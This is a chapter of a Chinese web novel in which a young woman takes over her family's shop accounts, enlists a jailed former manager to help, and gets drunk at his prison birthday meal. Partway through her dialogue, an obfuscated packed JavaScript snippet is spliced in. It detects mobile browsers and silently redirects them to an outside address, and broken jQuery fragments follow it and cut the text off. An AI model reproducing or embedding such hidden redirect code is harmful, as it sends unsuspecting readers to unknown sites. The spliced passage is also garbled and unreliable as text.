107. 忘年交
作品:《殓骨(重生)》 随着冬天逐渐脱离凉城,凉城总算是恢复了些原本的样子。
宋朝月开始着手打理起了苍州的铺子,闭店这么久,华家北边的生意几乎半年没了利润。
苍州的生意繁复错杂,从前一切都是吴平在管,如今她突然接手,竟是有些忙不过来。
夜深露重之时,她还在挑灯看着账本,前些日子被接来的阿罗也在一旁帮她整理着账本。
宋朝月右手边的桌面放着一壶浓茶,她便靠着这东西来提神。
饮完一杯又一杯,可眼皮还是止不住地打架,上眼皮和下眼睑像是被浆糊粘住了一般,无论如何都睁不开。
阿罗一直陪在旁边,她也撑不住了,先于宋朝月靠在椅子上睡着了。
此时还强撑着不肯睡的宋朝月在书房的柜子里拿来一条毛毯,搭在阿罗身上。
即便已经春末了,凉城的天却也还是冷,屋里若是不烧炭炉,必定冻得不行。
阿罗睡在一旁,起了微微的鼾声。
宋朝月走到院子里的水井便,打起了半桶凉水。她将装着凉水的木水桶放到水井凸起的边缘上,双腿岔开,腰弯下,掬起一捧凉水朝脸上扑去。
“唔!”一捧凉水,宋朝月便立时清醒。
她晃了晃脑袋甩干脸上的水滴,赶紧跑回屋中用一条干燥的巾帕将脸上余下的水擦干。
人清醒了,又开始伏案算账,回复苍州各城掌柜们的来信。
将要紧的事情忙活完,已经是半夜。
宋朝月也懒得回房,又从柜子里扯出来一条与阿罗身上那条一模一样的厚实毛毯,亦趴在桌子上睡着了。
待到鸡鸣声起,太阳好像一个鸡蛋黄一般慢慢从东边升了起来。
宋朝月打了个哈欠,眼角边跟着挤出几滴泪,再看向不远处的椅子上,阿罗已经不见了。
趴在桌子上睡了好几个时辰,宋朝月感觉着从自己腰到肩膀那一块都好似被人揍过一半酸疼。
再也不宿在书房了。她在心里想。
裹着毯子,她推开了桌案正对着的那扇窗,清晨的第一缕阳光也在此刻照了进来,正铺在宋朝月的脸上。
和煦温暖的光,带着凉意的风,宋朝月半眯着眼睛,余光瞥见一春色,原来是院里那棵槐树发芽了。
她迫不及待地跑过去,枯黄的枝丫上吐出嫩嫩的新芽。
宋朝月笑着看向蔚蓝的天空,这才真的感觉到,春天来了。
“宋!朝!月!”宋母站在槐树正对着的垂花门那处,朝女儿吼道:“你看你身上那条毯子,都拖到地上了!”
宋朝月低头一看,果然,毯子长长的一截耷拉在地上。
她调皮地吐了下舌头,连忙将拖在地上的毯子提起,一溜烟儿地跑进了书房。
宋母手里提着一个老南瓜,摇头无奈道:“昨夜定是又宿在书房了。”
听见宋母的吼声,在小厨房烧水的阿罗自然也知道自家小姐醒了。
她将才将烧开的热水倒进盆里,又往盆里舀了半瓢凉水,再伸手进去试试水温。
嗯,差不多了,可以给小姐端去了。
水端进书房之际,宋朝月还倚在墙边看那棵槐树,仿佛她只要多看两眼,这槐树便能长快几分似的。
“小姐,快洗漱了,今日您还要不去巡店呢。”阿罗免不了提醒自家小姐一句,这段时间,可有得她忙呢。
“好了好了,知道了阿罗。”
这阿罗,是越来越唠叨了。
阿罗不说话,笑着看宋朝月洗漱。
随她回寝屋换了一身新衣裳后,宋朝月便领着阿罗到了前厅用饭去了。
宋母起了个大早,忙活了一桌子早膳。宋明泽已经好多天没有回家了,这饭,也就一家三口人用。
宋朝月嘴里喝着豆浆,吃着一个小肉包子,对着母亲说:“阿娘,待我去寻一个泗水的厨子来,您天天这么累,我心疼。”
江念也在吃着东西,她又出言拒绝:“找什么啊,阿娘不累。”
宋朝月没有再说,心里却更是坚定了要找一个做遂州菜的厨子。
主仆二人用完饭,朝凉城中那家糕点铺子走去。
糕点铺子还在采买食材阶段,米、面、芋头、小麦……正一筐一筐地搬进铺子里。
店掌柜见他来,又递上了这段时日采买的账单。
一见到账单,宋朝月顿觉一个头两个大,可又不得不接下。
走出铺子的时候,宋朝月不住地埋怨道:“阿罗,你说华家开这么多铺子干什么?”
阿罗手里吃着一个方才街边买的煎饼,嘴里含糊不清:“小姐,生意做得广才有钱赚嘛。”
宋朝月当然知道,她不过是随口说说,如果不是华家有那么大的声音,她每月那么多的月钱还不知道从何而来呢。
两人朝另外一家铺子走去,途中经过州府的府衙,宋朝月盯着那块明镜高悬的牌匾,突然停下了脚步。
这时阿罗的糕饼已经吃完了,她狐疑地问宋朝月:“小姐您站在这儿做什么?”
对方转过身来,眼睛里闪烁着光芒,双手握住她的手臂,前后摇晃着说:“阿罗,我知道该找谁帮我一起看账本了。”
下午,宋朝月背着一个大书箱出现在了府衙门前,门口的衙役见他,一直劝道:“宋朝月,您不能进去,宋朝月这样不合规矩啊。”
宋朝月不愿听,固执地要往里进,“哎呀,规矩是死的人是活的嘛,你们就让我进去嘛,我又不将吴平给放出来,我跟他一起待在牢里就行了呀。”
衙役听罢,简直一个头两个大。
谁家正常人要去找犯人一起看账本儿啊。
突然,这两个衙役见远方来了一人,像是看见了救星一般,朝那位老人家投去求救的目光。
荀康时自然是收到了,他眨巴了几下他那圆而小的眼睛,走到宋朝月身边,热切地问说:“宋小姐,您这是干什么呀。”
好,这苍州刺史来了,她便不打算为难这两个小衙役了,转而去为难这位老刺史。
“是这样的,刺史大人。最近凉城百废俱兴,华家的铺子尽数在重开阶段,我一人实在忙不过来,我想着,从前吴平是管这些事儿的,我来,是想叫他同我一同看看账本……”
宋朝月滔滔不绝地说着,一双杏眼就这么一眨不眨看着荀康时,希望他能放自己入牢中。
荀康时边往府衙里进,宋朝月像一个跟屁虫一般一直在他身后念念叨叨,弄得这老头子都心烦了。
最后,还是松了口。
“那行,宋小姐要切记,不可将他放出来!”
宋朝月满口应是,终于是从荀康时那里拿到了吴平那牢门的钥匙。
吴平牢狱在靠近大牢门的地方,有人进出大牢,吴平便能呼吸得到几分新鲜空气,看得见几分天光。
宋朝月来时,他靠在墙边的榻上打盹儿。
牢门被宋朝月用钥匙打开,那锁就被虚挂着放在门上,形同虚设。
“吴平,吴掌柜,我来看你了!”宋朝月小声唤着他,害怕惊扰了他的美梦。
吴平睁开眼,还以为是自己看错了,宋朝月怎么会在这儿,竟然还背着那么大一个书箱。
“宋小姐?”
“是我,吴平。”宋朝月在吴平的帮助下,将背上沉重的书箱取下,放在地上之际还发出一声闷响。
吴平轻轻掂了一下那书箱,这么重,这宋小姐背的是些什么啊?
见吴平疑惑的眼神,宋朝月开口向他说起了近些日子苍州的情况,最后,无比真挚地问吴平:“吴平,我知道你虽然现在不再为华家效力,但你从前是华家在苍州的大掌柜,知道的想必比我多得多,我来,是想问你能不能帮帮我。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758581|130227||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
她这话说得诚恳,句句入心。
吴平看着她,很快就答应了,常在这牢中,孤苦寂寞,有个人能常来陪自己说说话也是好的。
就这般,宋朝月没两三天来一次,每一次都带来的账本越来越少,在吴平的帮助下,她开始渐渐熟悉了苍州的每一笔生意。
立夏那一日,宋朝月一如往常背了个书箱,不过这书箱较之第一次要小上了许多。
一进牢门,宋朝月便一副神秘兮兮的表情。
吴平帮她将书箱放下,她竟然还叫他小心些,莫要洒了。
吴平很是疑惑,洒了,账本还能洒了不成。
可是待宋朝月将书箱打开时,他却发现,里面装着的尽是好酒好菜。
宋朝月边将菜往牢房中的桌子上方,边说:“我听糕饼铺子里的掌柜说,今日是你的生辰,那咱们今日就不看账本,尽快吃些好吃的如何?”
她笑着,吴平的眼中却湿润了,一把年纪了,被抓紧牢中时他没有哭,如今却为着有人惦念着自己的生辰而感动。
“多谢宋小姐。”
“不用谢,吴平你帮了我这么大的忙,是我该感谢你呢。”
宋朝月摆好两副碗筷,要吴平赶紧趁热过来吃饭。
吃着这难得的美味,吴平被关在牢中的郁结都消散了许多,兴致上来了,还给自己和宋朝月各斟了一杯酒。
宋朝月正吃着饭,突见一酒杯到了自己眼前。
她酒量太差,几乎不饮酒。可是今日是吴平生辰,她不想扫了他的兴,于是端起酒杯,同他碰了一个,“吴平,祝你身体安康。”
吴平已经四十五岁了,这段时间的相处,两人生生变成了忘年交。
几杯酒下肚,宋朝月便有些脑袋发晕。恰在此时,她是最不知打住的,竟是越喝越兴起,开始与吴平款天阔地,好不豪迈。
一大壶酒很快就见了底,吴平没喝多少,倒是尽数被宋朝月喝了去,他拦都拦不住。
到最后,宋朝月歪歪斜斜地倚在桌子边,嘴里还说着祝福吴平的话。
可吴平却是犯难了,这姑奶奶一会儿可要怎么回去啊。
他没辙了,唤来狱卒。
狱卒见状,亦是不敢动,又传讯去了府衙。
恰逢此时,孟祈正在府中同荀康时商议着在何处安放豢养军马的马厩,听见宋朝月在牢中喝醉了,他原本还舒展着的眉头一拧,旋即看向荀康时。
荀康时尴尬地笑笑,说:“宋小姐说是自己这段时间忙不过来,非要找吴平帮自己看账,我捱不过,就答应了……”
孟祈的面色眼瞧着冷了起来,荀康时又立马解释说:“可我不知道她为何会喝醉啊?跟我没关系。”
听罢,孟祈也不再同荀康时商量马厩一事了,让那来禀报的狱卒带着他去往了牢中。
才进牢门,便听到里面宋朝月嘟嘟囔囔不知道在说些什么,她的身子七倒八歪的,坐在凳子上摇摇欲坠。
吴平在旁看着,想去扶,却又不敢扶。
直到见到牢门外面如铁青的孟祈,他分外识趣地躲到了角落里。
孟祈走了进去,便见宋朝月满脸酡红,马上就要跌倒地上去了。
他上前一步,扶住了她,这也让她抬头看了看眼前的男人。
“孟祈,是孟祈啊,我都好多天没见着他了,肯定是做梦呢……”
孟祈紧抿着的双唇稍微松了一下,背对着蹲在宋朝月面前,同她说:“自己爬上来。”
她竟也听话,乖乖地爬上了孟祈的背。
就这般,孟祈将宋朝月背出了牢房。
吴平一直在旁默默看着,脸上是藏不住的笑,他看了眼没有还开着的牢门锁,走上前去将其咔哒一声锁上。
他又坐回了原位,吃起了还没吃完的菜,今年这个生辰,他过得很开心。

